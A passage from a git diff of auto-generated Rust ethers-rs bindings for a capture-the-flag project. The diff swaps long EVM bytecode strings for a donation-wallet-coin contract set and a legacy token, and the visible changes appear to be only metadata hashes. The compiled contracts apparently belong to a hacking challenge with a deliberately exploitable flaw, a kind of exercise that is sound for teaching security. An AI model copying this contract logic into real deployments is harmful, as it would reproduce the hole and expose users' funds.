\x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\0\x91W=`\0\x80>=`\0\xFD[P`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x83\x16\x90\x81\x17\x90\x91U`\0T`@Qc\x82\xE4ku`\xE0\x1B\x81R`\x04\x81\x01\x92\x90\x92R\x90\x91\x16\x90c\x82\xE4ku\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xF0W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x04W=`\0\x80>=`\0\xFD[PPPPa\x01'V[a\x03\xD6\x80a\x03D\x839\x01\x90V[a\x02\xF1\x80a\x07\x1A\x839\x01\x90V[a\x02\x0E\x80a\x016`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0FW\x80c%\x1468\x14a\0vW\x80cR\x1E\xB2s\x14a\0\x8EW[`\0\x80\xFD[`\x01Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0~a\0\xA1V[`@Q\x90\x15\x15\x81R` \x01a\0mV[`\0Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0\x80T`@Qc|\x1BW\xE7`\xE1\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xF86\xAF\xCE\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xE7W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\0\xF8WP`\x01[a\x01\xD2W=\x80\x80\x15a\x01&W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01+V[``\x91P[P\x80Q` \x80\x83\x01\x91\x90\x91 `@\x80Q`\x04\x81R`$\x81\x01\x90\x91R\x91\x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16cV\x9DE\xCF`\xE1\x1B\x17\x81R\x91Q\x90\x91 \x03a\x01\xCEW`\0T`@Qc\x1C\x81p\xCB`\xE3\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE4\x0B\x86X\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xAEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC2W=`\0\x80>=`\0\xFD[PPPP`\0\x91PP\x90V[P\x90V[P`\x01\x90V\xFE\xA2dipfsX\"\x12 o\xD5\x18\x9A\xA4\xCE\x03i5v\xEE\xF9\xD8\x0B\xAB\t\xFD0K\xBF\xDE\x9D\xA5\x13C$\xAB\x17\x9F\x9B\xA3\xBFdsolcC\0\x08\x15\x003`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x03\xA4\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \x16h\x16/\x15\xC9\xA5\xC3x\x0E\x9A\xBA\x1E`\x96\xF1\x9F\x1E|\xFE\xAABb\x1A\xC7\x1D\xBAX\x8E\xB1\x1E\xD6dsolcC\0\x08\x15\x003`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xF18\x03\x80a\x02\xF1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0QV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 b\x0FB@\x90Ua\0\x81V[`\0` \x82\x84\x03\x12\x15a\0cW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0zW`\0\x80\xFD[\x93\x92PPPV[a\x02a\x80a\0\x90`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` \x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xFFA\x94\xDBi\xBAi\xA1sT\x88]\x02\x19~\xB4\xC0\xCE&O\x8E\x97:l\xAF_}[$\xB4EkdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\0\x1D\x90a\x01\rV[`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\09W=`\0\x80>=`\0\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x82\x17\x90U`@Qa\0e\x90a\x01\x1AV[`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\0\x91W=`\0\x80>=`\0\xFD[P`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x83\x16\x90\x81\x17\x90\x91U`\0T`@Qc\x82\xE4ku`\xE0\x1B\x81R`\x04\x81\x01\x92\x90\x92R\x90\x91\x16\x90c\x82\xE4ku\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xF0W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x04W=`\0\x80>=`\0\xFD[PPPPa\x01'V[a\x03\xD6\x80a\x03D\x839\x01\x90V[a\x02\xF1\x80a\x07\x1A\x839\x01\x90V[a\x02\x0E\x80a\x016`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0FW\x80c%\x1468\x14a\0vW\x80cR\x1E\xB2s\x14a\0\x8EW[`\0\x80\xFD[`\x01Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0~a\0\xA1V[`@Q\x90\x15\x15\x81R` \x01a\0mV[`\0Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0\x80T`@Qc|\x1BW\xE7`\xE1\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xF86\xAF\xCE\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xE7W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\0\xF8WP`\x01[a\x01\xD2W=\x80\x80\x15a\x01&W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01+V[``\x91P[P\x80Q` \x80\x83\x01\x91\x90\x91 `@\x80Q`\x04\x81R`$\x81\x01\x90\x91R\x91\x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16cV\x9DE\xCF`\xE1\x1B\x17\x81R\x91Q\x90\x91 \x03a\x01\xCEW`\0T`@Qc\x1C\x81p\xCB`\xE3\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE4\x0B\x86X\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xAEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC2W=`\0\x80>=`\0\xFD[PPPP`\0\x91PP\x90V[P\x90V[P`\x01\x90V\xFE\xA2dipfsX\"\x12 \x9AN:\xEAM\x07\x08\xBB\xF9.1=\x91\x8D\xFAs\xDA\x89SF\xF2\xD5\x02m\x08\x0F{+\xA6\xB3\xA9\x81dsolcC\0\x08\x15\x003`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x03\xA4\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0WW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0\\W\x80c\x82\xE4ku\x14a\0\x8BW\x80c\x8D\xA5\xCB[\x14a\0\xA0W\x80c\xE4\x0B\x86X\x14a\0\xB3W\x80c\xF86\xAF\xCE\x14a\0\xC6W[`\0\x80\xFD[`\x01Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x9Ea\0\x996`\x04a\x031V[a\0\xD9V[\0[`\0Ta\0o\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\x9Ea\0\xC16`\x04a\x031V[a\x01&V[a\0\x9Ea\0\xD46`\x04a\x031V[a\x02)V[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01\x04W`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x01QW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90\x83\x90\x83\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01\xA3W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xC7\x91\x90a\x03UV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02\x0EW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\"W=`\0\x80>=`\0\xFD[PPPPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x02TW`@Qc_\xC4\x83\xC5`\xE0\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc'\xE25\xE3`\xE0\x1B\x81R0`\x04\x82\x01R`\n\x91`\x01`\x01`\xA0\x1B\x03\x16\x90c'\xE25\xE3\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x02\x9DW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xC1\x91\x90a\x03UV[\x10\x15a\x02\xE0W`@QcV\x9DE\xCF`\xE1\x1B\x81R`\x04\x01`@Q\x80\x91\x03\x90\xFD[`\x01T`@Qc\xA9\x05\x9C\xBB`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x04\x83\x01R`\n`$\x83\x01R\x90\x91\x16\x90c\xA9\x05\x9C\xBB\x90`D\x01a\x01\xF4V[PV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x03\x19W`\0\x80\xFD[`\0` \x82\x84\x03\x12\x15a\x03CW`\0\x80\xFD[\x815a\x03N\x81a\x03\x1CV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x03gW`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 d\x8D\xB7\x99\xED\xAB\xE9Q\x83\x8F\xFCJ\x03\xB6)\x95_x\x8A\xFD\x065\xF3\nj%\xD7a\x07\x1F\xE5\x94dsolcC\0\x08\x15\x003`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xF18\x03\x80a\x02\xF1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0QV[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 b\x0FB@\x90Ua\0\x81V[`\0` \x82\x84\x03\x12\x15a\0cW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0zW`\0\x80\xFD[\x93\x92PPPV[a\x02a\x80a\0\x90`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c'\xE25\xE3\x14a\0;W\x80c\xA9\x05\x9C\xBB\x14a\0mW[`\0\x80\xFD[a\0[a\0I6`\x04a\x01\x9DV[`\0` \x81\x90R\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x80a\0{6`\x04a\x01\xBFV[a\0\x82V[\0[3`\0\x90\x81R` \x81\x90R`@\x90 T\x80\x82\x11a\x01ZW3`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xB8\x90\x84\x90a\x01\xFFV[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16`\0\x90\x81R` \x81\x90R`@\x81 \x80T\x84\x92\x90a\0\xE5\x90\x84\x90a\x02\x18V[\x90\x91UPP`\x01`\x01`\xA0\x1B\x03\x83\x16;\x15a\x01UW`@Qc&4\x1E-`\xE2\x1B\x81R`\x04\x81\x01\x83\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\x98\xD0x\xB4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01=`\0\xFD[PPPP[PPPV[`@Qc\xCFG\x91\x81`\xE0\x1B\x81R`\x04\x81\x01\x82\x90R`$\x81\x01\x83\x90R`D\x01`@Q\x80\x91\x03\x90\xFD[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01\x98W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x01\xAFW`\0\x80\xFD[a\x01\xB8\x82a\x01\x81V[\x93\x92PPPV[`\0\x80`@\x83\x85\x03\x12\x15a\x01\xD2W`\0\x80\xFD[a\x01\xDB\x83a\x01\x81V[\x94` \x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xE9\x9BH\xFA\x8B\x14 \xC6\xFC\xD3Y(\xDC\xFEws\x86\x11\x9C\x1B\r\x84\xE6\xB6C\x89\xEF\x08_\x92(bdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static GOODSAMARITAN_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0FW\x80c%\x1468\x14a\0vW\x80cR\x1E\xB2s\x14a\0\x8EW[`\0\x80\xFD[`\x01Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0~a\0\xA1V[`@Q\x90\x15\x15\x81R` \x01a\0mV[`\0Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0\x80T`@Qc|\x1BW\xE7`\xE1\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xF86\xAF\xCE\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xE7W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\0\xF8WP`\x01[a\x01\xD2W=\x80\x80\x15a\x01&W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01+V[``\x91P[P\x80Q` \x80\x83\x01\x91\x90\x91 `@\x80Q`\x04\x81R`$\x81\x01\x90\x91R\x91\x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16cV\x9DE\xCF`\xE1\x1B\x17\x81R\x91Q\x90\x91 \x03a\x01\xCEW`\0T`@Qc\x1C\x81p\xCB`\xE3\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE4\x0B\x86X\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xAEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC2W=`\0\x80>=`\0\xFD[PPPP`\0\x91PP\x90V[P\x90V[P`\x01\x90V\xFE\xA2dipfsX\"\x12 o\xD5\x18\x9A\xA4\xCE\x03i5v\xEE\xF9\xD8\x0B\xAB\t\xFD0K\xBF\xDE\x9D\xA5\x13C$\xAB\x17\x9F\x9B\xA3\xBFdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\x11\xDF\x99\x95\x14a\0FW\x80c%\x1468\x14a\0vW\x80cR\x1E\xB2s\x14a\0\x8EW[`\0\x80\xFD[`\x01Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0~a\0\xA1V[`@Q\x90\x15\x15\x81R` \x01a\0mV[`\0Ta\0Y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`\0\x80T`@Qc|\x1BW\xE7`\xE1\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xF86\xAF\xCE\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\0\xE7W`\0\x80\xFD[PZ\xF1\x92PPP\x80\x15a\0\xF8WP`\x01[a\x01\xD2W=\x80\x80\x15a\x01&W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01+V[``\x91P[P\x80Q` \x80\x83\x01\x91\x90\x91 `@\x80Q`\x04\x81R`$\x81\x01\x90\x91R\x91\x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16cV\x9DE\xCF`\xE1\x1B\x17\x81R\x91Q\x90\x91 \x03a\x01\xCEW`\0T`@Qc\x1C\x81p\xCB`\xE3\x1B\x81R3`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE4\x0B\x86X\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xAEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xC2W=`\0\x80>=`\0\xFD[PPPP`\0\x91PP\x90V[P\x90V[P`\x01\x90V\xFE\xA2dipfsX\"\x12 \x9AN:\xEAM\x07\x08\xBB\xF9.1=\x91\x8D\xFAs\xDA\x89SF\xF2\xD5\x02m\x08\x0F{+\xA6\xB3\xA9\x81dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static GOODSAMARITAN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/legacy_token.rs b/ctf/src/abi/legacy_token.rs index 762fe79..f13f35d 100644 --- a/ctf/src/abi/legacy_token.rs +++ b/ctf/src/abi/legacy_token.rs @@ -571,12 +571,12 @@ pub mod legacy_token { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Q\x80`@\x01`@R\x80`\x0B\x81R` \x01j&2\xB3\xB0\xB1\xBC\xAA7\xB5\xB2\xB7`\xA9\x1B\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x13\x11\xD5`\xEA\x1B\x81RP\x81`\x03\x90\x81b\0\0c\x91\x90b\0\x01\x90V[P`\x04b\0\0r\x82\x82b\0\x01\x90V[PPPb\0\0\x8Fb\0\0\x89b\0\0\x95` \x1B` \x1CV[b\0\0\x99V[b\0\x02\\V[3\x90V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x01\x16W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x017WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01\x8BW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x01fWP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x01\x87W\x82\x81U`\x01\x01b\0\x01rV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x01\xACWb\0\x01\xACb\0\0\xEBV[b\0\x01\xC4\x81b\0\x01\xBD\x84Tb\0\x01\x01V[\x84b\0\x01=V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x01\xFCW`\0\x84\x15b\0\x01\xE3WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x01\x87V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x02-W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x02\x0CV[P\x85\x82\x10\x15b\0\x02LW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x0C2\x80b\0\x02l`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01\x0BW`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0\xA2W\x80c\xA4W\xC2\xD7\x11a\0qW\x80c\xA4W\xC2\xD7\x14a\x02\x1EW\x80c\xA9\x05\x9C\xBB\x14a\x021W\x80c\xC8\x9ECa\x14a\x02DW\x80c\xDDb\xED>\x14a\x02WW\x80c\xF2\xFD\xE3\x8B\x14a\x02jW`\0\x80\xFD[\x80cp\xA0\x821\x14a\x01\xC0W\x80cqP\x18\xA6\x14a\x01\xE9W\x80c\x8D\xA5\xCB[\x14a\x01\xF1W\x80c\x95\xD8\x9BA\x14a\x02\x16W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xDEW\x80c#\xB8r\xDD\x14a\x01xW\x80c1<\xE5g\x14a\x01\x8BW\x80c9P\x93Q\x14a\x01\x9AW\x80c@\xC1\x0F\x19\x14a\x01\xADW`\0\x80\xFD[\